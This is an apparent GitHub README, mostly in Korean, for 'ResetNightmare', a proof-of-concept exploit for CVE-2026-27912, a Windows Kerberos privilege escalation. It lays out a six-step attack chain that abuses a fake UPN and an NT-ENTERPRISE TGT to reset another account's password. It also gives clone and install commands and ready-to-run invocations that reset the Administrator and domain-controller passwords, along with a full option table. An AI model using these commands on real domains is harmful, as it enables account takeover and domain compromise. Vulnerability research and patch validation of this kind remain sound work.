
CVE-2026-27912용 PoC - Windows Kerberos 권한 상승 (ResetNightmare). Kerberos 결함을 통한 무단 비밀번호 재설정. 보안 연구 목적으로만 사용하십시오.
CVE-2026-27912 - Windows Kerberos 권한 상승 취약점
ResetNightmare - Kerberos 암호 변경 프로토콜 결함을 통한 무단 암호 재설정
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-27912 |
| 제목 | Windows Kerberos 권한 상승 취약점 |
| CVSS | 8.0 HIGH (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-285: 부적절한 인가 |
| 게시일 | 2026년 4월 14일 |
| 패치됨 | 2026년 4월 |
1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success
Install-WindowsFeature RSAT-AD-PowerShell)# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912
# Install dependencies
pip install -r requirements.txt
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass
python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c
python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v
| 플래그 | 설명 | 기본값 |
|---|---|---|
-t / --target | 대상 계정 이름 | 필수 |
-p / --new-password | 대상의 새 비밀번호 | 필수 |
-u / --upn-user | 가짜 UPN을 설정할 계정 | 필수 |
-up / --upn-password | UPN 계정의 비밀번호 | 필수 |
-c / --computer | UPNUser가 컴퓨터 계정인지 여부 | 플래그 |
-r / --rubeus-path | Rubeus.exe 경로 | Rubeus.exe |
-e / --encryption | 지원되는 암호화 유형 | AES256 |
-path / --create-path | 새 계정을 생성할 OU 경로 | "" |
-d / --dc | 도메인 컨트롤러 이름 | 자동 감지 |
-v / --verbose | 상세 출력 | 플래그 |
공인된 보안 테스트 및 교육 연구 목적으로만 사용하십시오.
컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
n0vax1337 / 보안 연구원
MIT 라이선스 - LICENSE 참조
최종 업데이트: 2026